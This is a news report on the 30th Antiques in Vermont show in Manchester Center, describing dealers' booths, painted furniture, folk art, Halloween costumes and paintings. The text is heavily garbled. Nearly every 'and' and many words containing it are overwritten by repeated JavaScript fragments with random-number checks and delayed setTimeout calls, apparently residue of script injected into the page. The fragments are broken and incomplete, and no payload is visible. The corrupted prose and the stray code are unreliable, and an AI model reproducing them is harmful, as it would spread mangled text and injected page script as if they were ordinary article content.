By: W.A. Demers

 MANCHESTER CENTER, VT. — Those with powder to burn after three solid days of antiquing in Vermont were queued up early on October 5 for the 8 am opening of Antiques in Vermont, the capstone event presented at Riley Rink at Hunter Park by Phyllis Carlson Stevenson andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Timothy Stevenson. The show was celebrating its 30th year, presenting 80 dealers from 14 states, mostly from New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and.

A two-board top pine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and maple table, circa 1780, in green paint, its round top measuring 40½ inches andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its height 28 inches, graced the booth of DBR Antiques, the business of Doug Ramsay, who specializes in American painted country furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and late Seventeenth to mid-Nineteenth Century folk art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative accessories. Displayed around it was a set of four Connecticut bamboo turned bowback chairs, 1790. Americana was represented by a colorful Chinese checkers board from around 1900–1920 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a wonderful basswood document box, circa 1820, all grain painted on the outside andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and featuring a folky man’s portrait on the inside of the top.

New Jersey dealer Gloria M. Lonergan brought a blue painted jelly cupboard that was of Pennsylvania Mennonite origin, circa mid-1800s. It was topped with a Gabriel angel weathervane measuring 51 by 13½ inches from around the 1920s. Adding further color to the booth was a blue painted lidded dough box in original condition, dating from the mid-Nineteenth Century, 35 by 17½ by 10½ inches, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a red painted sawbuck table, circa 1890, 24 by 30 by 40 inches. There was also a small collection of about eight cast iron banks from the Nineteenth Century from this dealer of American furniture, mostly painted, early painted folk art, game boards, weathervanes, painted boxes, baskets andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and hooked rugs.

An early Twentieth Century bicycle wheel had been transformed into a game wheel, decorated on both sides, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was prominently displayed at Denise Scott Antiques, East Greenwich, R.I. Also two-sided was a “Keep Out Private” sign that had been obtained at a Rhode Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and auction, while a portrait of a glowering young gentleman, artist unknown, circa 1830-40, was hung alongside a Hudson River landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape from the late Nineteenth Century andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a generic watercolor landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape, also Nineteenth Century. Game boards on offer included a walnut example from the last quarter of the Nineteenth Century.

As if wrangling a show this size is not enough, show managers the Stevensons also assemble a tasty sampling of their antiques, art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts, including watercolors, oil paintings, folk art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and quirky merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise for this show. The quirky this time out comprised three framed samples of so-called tattoo “flash” art — illustrations of available designs a tattoo artist could render for a customer, typically hung on the wall in a tattoo parlor. The pieces dated from the 1920s–30s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and were by a particular artist, Percy Waters of Detroit.

The Stevensons also specialize in original illustrations by Barbara Shermond. An illustration by the artist known for her cheeky contributions to magazines like Esquire showed two young women at a dressing table, one of them saying to the other, “He asked me to marry him, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and I evidently must have said ‘yes.’”

A watercolor by Bernadine Custer of two women working at a table cutting dress patterns andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a house andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape painting by French artist Claude Dern (1906–1995) were also on offer. The Dern painting had local interest, for the artist had lived for a time in Dorset, Vt., andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the work, titled “Hank’s Place,” was surely a Dorset scene.

Justin Cobb, owner of Captain’s Quarters, Amherst, Mass, had his usual collection of marine paintings, sailors’ valentines andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other nautical artifacts, but also had several interesting Native American items from the Pacific Northwest. One was a very graphic ceremonial mask, circa 1940, that had been carved by the son of a chief of the Taku tribe of the coastal Tlingits. Another was a Haida umiak, circa 1930-40, featuring a carved eagle on the stern, a carved model of watercraft that would be used by six to eight hunters in hunting whales.

Richard “Smitty” Axtell spoke enthusiastically about a trio of homespun fabric cats that perched winsomely atop a New York State jelly cupboard. “They’re from a lady’s collection in New York,” explained the Deposit, N.Y. dealer, “part of her collection of wonderful folk art, black andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wooden dolls.” The largest of the cats was a harlequin example, circa 1880. The jelly cupboard was also of New York State origin, dating from the 1830s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dry scraped from white to its original Prussian blue. Sharing some space atop the cupboard was a set of nine apothecary jars that had been turned from what looked to be maple wood with stenciled Latin names of their intended contents.

In the first hour of the show, country furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Americana specialists Steve Corrigan andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Doug Jackman from Rockingham, Vt., had already placed a sold sticker on a sweet Eighteenth Century Canadian lozenge cupboard in pine. “It’s a great small size,” said Jackman, “with rat-tail hinges so you can lift the door off.” Another piece of furniture in the booth, a child’s-size dry sink in pine, circa 1840–60, accommodated a trencher that was filled with rosy-cheeked apples. And a small antique tea table seen leaving with the Stephen-Douglas dealers from the booth of Robert Perry at the Weston show a couple of days before was nowhere to be seen, for it had found a new home. “We already sold it,” said Jackman.

Gene Bertolet Antiques, Oley, Penn., was showing an interesting artifact from America’s agrarian past, a vegetable basket made of ash or maple ribs that was used to wash vegetables. Made probably around 1900, according to the dealer, it had an iron hook for hanging andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and had come out of Mullica Hill, N.J. Also on view was a relief-carved sign for “John T. Sutton, Notary Public,” Pennsylvania stoneware from 1910 to 1920 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a sampling of figural metal cookie cutters from the turn of the century.

The approaching Halloween holiday was acknowledged with seasonal antiques in several booths at the show, perhaps best represented by The Cat Lady Antiques, Bangor, Penn., who was exhibiting what owner Ann Bedics jokingly referred to as “Halloween chintz,” a large display of vintage children’s Halloween costumes. “To me they exemplify a certain quality. They’re all handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andmade andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and appliquéd — andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and just wonderful to me,” she said. A star among the costumes was what Bedics described as a complete Felix the Cat costume from the 1920s, printed with an early version of the mischievous feline.

Attracting much attention in her booth was a shelf filled with a rare set of knockdown figures of nursery rhyme characters such as Puss In Boots depicted on one side andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and alphabet letters on the other. From the late Nineteenth Century, the set was not complete — it was missing a frog. And because she is the “Cat Lady,” a Pennsylvania pine carving of a black cat from a friend’s collection was paired with a hooked chair pad also showing a black cat from the turn of the century.

 When company is about to come, Ed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Anita Holden of Sherman, Conn., are all set. Front andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and center in their booth was a great country Sheraton dining table out of a collection in Wisconsin in its original red paint andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, remarkably, with all of its “company” boards, leaves that can extend the table as needed. The drop leaf center section can be extended with one or two of the boards, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the table exhibited nicely turned legs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and old, perhaps not original, casters. Around the table was a set of four maple Queen Ann chairs from the Colonial Revival period, circa 1920s.

The Holdens also brought an interesting early industrial artifact in the form of a hanging cabinet bearing the whimsical message “Open me andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and you will see the B-E-S-T Accident Eliminator.” Behind the door, of course, is a mirror. In excellent dry green paint with great patina andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with original hardware, the cabinet, measuring 20¾ by 15 by 4½ inches, was probably made in the first half of the Twentieth Century.

“I thought the show was great,” said Phyllis Carlson Stevenson. “The weather was beautiful, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and we had a lot of ‘happy campers’ leaving the show when it was over.”

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